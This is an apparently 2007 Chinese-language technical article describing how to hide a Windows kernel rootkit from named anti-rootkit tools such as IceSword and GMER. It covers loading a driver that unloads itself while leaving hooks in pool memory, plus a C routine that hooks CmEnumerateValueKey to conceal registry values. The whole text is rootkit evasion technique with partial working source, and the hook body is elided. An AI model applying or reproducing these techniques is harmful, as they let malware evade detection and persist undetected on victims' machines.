作者:MJ0011 | th_decoder@126.com | 2007-10-24
本文描述繞過主流現代 Anti-Rootkit 工具檢測的方法,涵蓋但不限於:Icesword 最新版、Gmer 最新版、Rootkit Unhooker 最新版、DarkSpy 最新版、AVG Anti-rootkit 最新版等。
使用 ZwSetSystemInformation 載入驅動,在 DriverEntry 中分配 NonPagedPool 記憶體,將功能程式碼/函數複製至該記憶體,完成必要 Hook 後返回 STATUS_UNSUCCESSFUL。
效果:驅動從 PsLoadModuleList、各物件鏈表消失,自然不在 ZwQuerySystemInformation 枚舉列表中。
注意:複製程式碼須盡量簡單,基本不產生需重定位程式碼,但調用系統函數仍需另想辦法。
某 RK 實作:A Function Hook 系統函數 B,需調用系統函數 C。分配記憶體大小 = len(A) + sizeof(ULONG)*2。前兩個 DWORD 放原函數 B 地址與 C 地址,其後放函數程式碼。函數中用 call +5 相對定位自身位置,找到記憶體起始處,取得原函數地址。比複製前用絕對地址更靈活。
void InstallCMRegHook() {
PVOID _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey;
HookCode3 = ExAllocatePoolWithTag(NonPagedPool, HookCodeLen+4, MEM_TAG_HOOKCODE3);
*(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc; // 原函數地址
RtlCopyMemory((PVOID)(HookCode3+sizeof(ULONG)), (PVOID)NewCmEnumerateValueKey, HookCodeLen); // 複製程式碼
DO_SPINLOCK();
*(ULONG*)_CmEnumerateKeyValueLoc = HookCode3 + sizeof(ULONG); // 實施 Hook
EXIT_SPINLOCK();
}
NTSTATUS NewCmEnumearateValueKey(...) {
// 尋找本函數起始地址,獲取記憶體中保存的 OrgCmEnumerateValueKey 地址
...
}